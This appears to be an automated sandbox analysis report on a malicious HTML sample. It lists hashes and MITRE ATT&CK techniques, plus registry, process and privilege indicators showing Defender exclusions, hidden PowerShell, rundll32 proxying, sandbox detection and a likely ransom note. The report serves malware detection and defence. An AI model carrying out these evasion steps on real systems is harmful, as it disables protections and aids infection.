fb98c3a152cc3e1c73c94c6b03c0611ed5c111c6d629fc8f608c192175aebf8e

Resubmissions

22/08/2026, 04:37

260822-e87qnavydt10

22/08/2026, 04:29

260822-e399laeq5v5

Analysis

geolocation tags

asiadelhiinindia
user interaction
yes
max time kernel
504s
max time network
567s
platform
windows10-2004_x64
resource
win10v2004-20260513-uk
resource tags

arch:x64arch:x86image:win10v2004-20260513-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
22/08/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.html
Size 326KB
Sample260822-e87qnavydt
SHA256 fb98c3a152cc3e1c73c94c6b03c0611ed5c111c6d629fc8f608c192175aebf8e
MD5 7a3449ceda5ba6a552e450525d626cd0
SHA1 e3c83263eaaf6685febeca108745bfd090614d54
SHA512 b425d5b75f3fba79a93c010856e8a8a1cb699f29070b127fbdb786e703476f383abba574380dcf78aa7762134494a76bcb0ee89f1b8392efba7f49ad4c2ae68c
SSDEEP 3072:XYigAkHnjzxQ6KSAiToH788aW+LN7uxRLlzglKrf250l:xgAkHnjzxQBSAVb88CN78Brf250l
TLSH
T1EE643C25E5D2607F682B8033F27F3318B73FA483A101C929BA1CC5D5AFD19866177B99
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 64 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\payload.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34 = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4572	powershell.exe
2680	powershell.exe
828	powershell.exe
6496	powershell.exe
5628	powershell.exe
6588	powershell.exe
7108	powershell.exe
688	powershell.exe
7064	powershell.exe
6600	powershell.exe
2960	powershell.exe
4332	powershell.exe
1272	powershell.exe
1844	powershell.exe
5340	powershell.exe
6340	powershell.exe
5620	powershell.exe
5124	powershell.exe
2616	powershell.exe
1788	powershell.exe
6556	powershell.exe
4740	powershell.exe
3256	powershell.exe
6804	powershell.exe
4840	powershell.exe
5788	powershell.exe
1940	powershell.exe
5340	powershell.exe
2524	powershell.exe
6524	powershell.exe
4572	powershell.exe
828	powershell.exe
7064	powershell.exe
6496	powershell.exe
5628	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	Installer.exe

Executes dropped EXE 39 IoCs

pid	Process
3036	Launcher.exe
2344	Installer.exe
4564	Installer.exe
2504	Installer.exe
5344	payload.exe
436	payload.exe
4116	payload.exe
1064	payload.exe
2740	payload.exe
220	payload.exe
4852	payload.exe
2816	Setup.exe
932	Setup.exe
2192	Setup.exe
5392	Setup.exe
4776	Extreme Injector.exe
5160	Dry5thwpur.exe
5280	Dry5thwpur.exe
2412	Launcher.exe
1848	old-uninstaller.exe
5272	Installer.exe
5064	Installer.exe
992	Installer.exe
1808	payload.exe
1996	payload.exe
3656	payload.exe
2332	payload.exe
2980	payload.exe
4424	payload.exe
5524	Installer.exe
3676	Installer.exe
4228	Installer.exe
2856	Installer.exe
4544	Installer.exe
4828	Installer.exe
6008	Installer.exe
1396	Installer.exe
4168	Installer.exe
6844	payload.exe

Loads dropped DLL 64 IoCs

pid	Process
3036	Launcher.exe
3036	Launcher.exe
3036	Launcher.exe
3036	Launcher.exe
3036	Launcher.exe
2344	Installer.exe
4564	Installer.exe
4564	Installer.exe
4564	Installer.exe
4564	Installer.exe
4564	Installer.exe
4564	Installer.exe
2504	Installer.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
4776	Extreme Injector.exe
4776	Extreme Injector.exe
4776	Extreme Injector.exe
5160	Dry5thwpur.exe
5280	Dry5thwpur.exe
5280	Dry5thwpur.exe
5280	Dry5thwpur.exe
5280	Dry5thwpur.exe
5280	Dry5thwpur.exe
5280	Dry5thwpur.exe
2412	Launcher.exe
2412	Launcher.exe
2412	Launcher.exe
2412	Launcher.exe
1848	old-uninstaller.exe
1848	old-uninstaller.exe
1848	old-uninstaller.exe
2412	Launcher.exe
5272	Installer.exe
5064	Installer.exe
5064	Installer.exe
5064	Installer.exe
5064	Installer.exe
5064	Installer.exe
5064	Installer.exe
992	Installer.exe
5524	Installer.exe
3676	Installer.exe
3676	Installer.exe
3676	Installer.exe
3676	Installer.exe
3676	Installer.exe
3676	Installer.exe
4228	Installer.exe
2856	Installer.exe
4544	Installer.exe
4544	Installer.exe
4544	Installer.exe
4544	Installer.exe
4544	Installer.exe
4544	Installer.exe
4828	Installer.exe
6008	Installer.exe
1396	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 5 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
7008	cmd.exe
6940	cmd.exe
6608	cmd.exe
4072	cmd.exe
4632	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 10 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
4704	cmd.exe
3640	rundll32.exe
5772	cmd.exe
6820	rundll32.exe
6192	rundll32.exe
7124	cmd.exe
3944	rundll32.exe
6908	cmd.exe
4608	cmd.exe
7140	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 10 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3180	cmd.exe
7008	cmd.exe
6524	cmd.exe
4056	cmd.exe
4072	cmd.exe
5804	cmd.exe
6940	cmd.exe
6608	cmd.exe
6476	cmd.exe
4632	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 10 IoCs

execution

Visual Basic

T1059.005

pid	Process
2640	wscript.exe
5604	wscript.exe
3936	wscript.exe
5380	wscript.exe
6316	wscript.exe
6200	wscript.exe
812	wscript.exe
4888	wscript.exe
2380	wscript.exe
3972	wscript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2816 set thread context of 2192	2816	Setup.exe	252
PID 932 set thread context of 5392	932	Setup.exe	253

Hide Artifacts: Ignore Process Interrupts 1 TTPs 5 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6608	cmd.exe
4072	cmd.exe
4632	cmd.exe
7008	cmd.exe
6940	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4784	cmd.exe
5548	cmd.exe
2648	cmd.exe
4564	cmd.exe
5640	cmd.exe
3580	cmd.exe
6764	cmd.exe
3068	cmd.exe
3264	cmd.exe
4596	cmd.exe
2640	cmd.exe
5604	cmd.exe
7020	cmd.exe
4004	cmd.exe
4012	cmd.exe
1096	cmd.exe
5492	cmd.exe
6084	cmd.exe
2952	cmd.exe
5324	cmd.exe
1860	cmd.exe
3852	cmd.exe
3816	cmd.exe
1700	cmd.exe
816	cmd.exe
696	cmd.exe
1980	cmd.exe
2504	cmd.exe
2600	cmd.exe
1856	cmd.exe
5328	cmd.exe
6360	cmd.exe
6676	cmd.exe
5428	cmd.exe
3396	cmd.exe
5584	cmd.exe
1588	cmd.exe
5988	cmd.exe
5932	cmd.exe
2964	cmd.exe
4116	cmd.exe
1888	cmd.exe
6568	cmd.exe
6796	cmd.exe
1196	cmd.exe
5216	cmd.exe
1172	cmd.exe
5148	cmd.exe
6124	cmd.exe
3884	cmd.exe
3564	cmd.exe
3604	cmd.exe
1124	cmd.exe
2844	cmd.exe
5552	cmd.exe
5536	cmd.exe
4708	cmd.exe
4764	cmd.exe
1208	cmd.exe
2432	cmd.exe
4520	cmd.exe
5756	cmd.exe
5516	cmd.exe
3020	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Extreme Injector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	old-uninstaller.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4228	msedge.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Dry5thwpur.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Dry5thwpur.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Dry5thwpur.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	reg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor	reg.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134318470944895868"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-876885714-46325919-1482798410-1000\{887CF49C-0630-42A4-9C78-41D291D27C14}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings	taskmgr.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
6592	Notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3036	Launcher.exe
3036	Launcher.exe
2344	Installer.exe
2344	Installer.exe
2344	Installer.exe
2344	Installer.exe
1088	powershell.exe
1088	powershell.exe
1940	powershell.exe
1940	powershell.exe
2960	powershell.exe
2960	powershell.exe
4332	powershell.exe
4332	powershell.exe
4740	powershell.exe
4740	powershell.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
4572	powershell.exe
4572	powershell.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2680	powershell.exe
2680	powershell.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe
2216	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3436	7zFM.exe
2216	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3436	7zFM.exe
Token: 35	3436	7zFM.exe
Token: SeSecurityPrivilege	3436	7zFM.exe
Token: SeSecurityPrivilege	3436	7zFM.exe
Token: SeSecurityPrivilege	3036	Launcher.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
Token: SeCreatePagefilePrivilege	2344	Installer.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	2344	Installer.exe
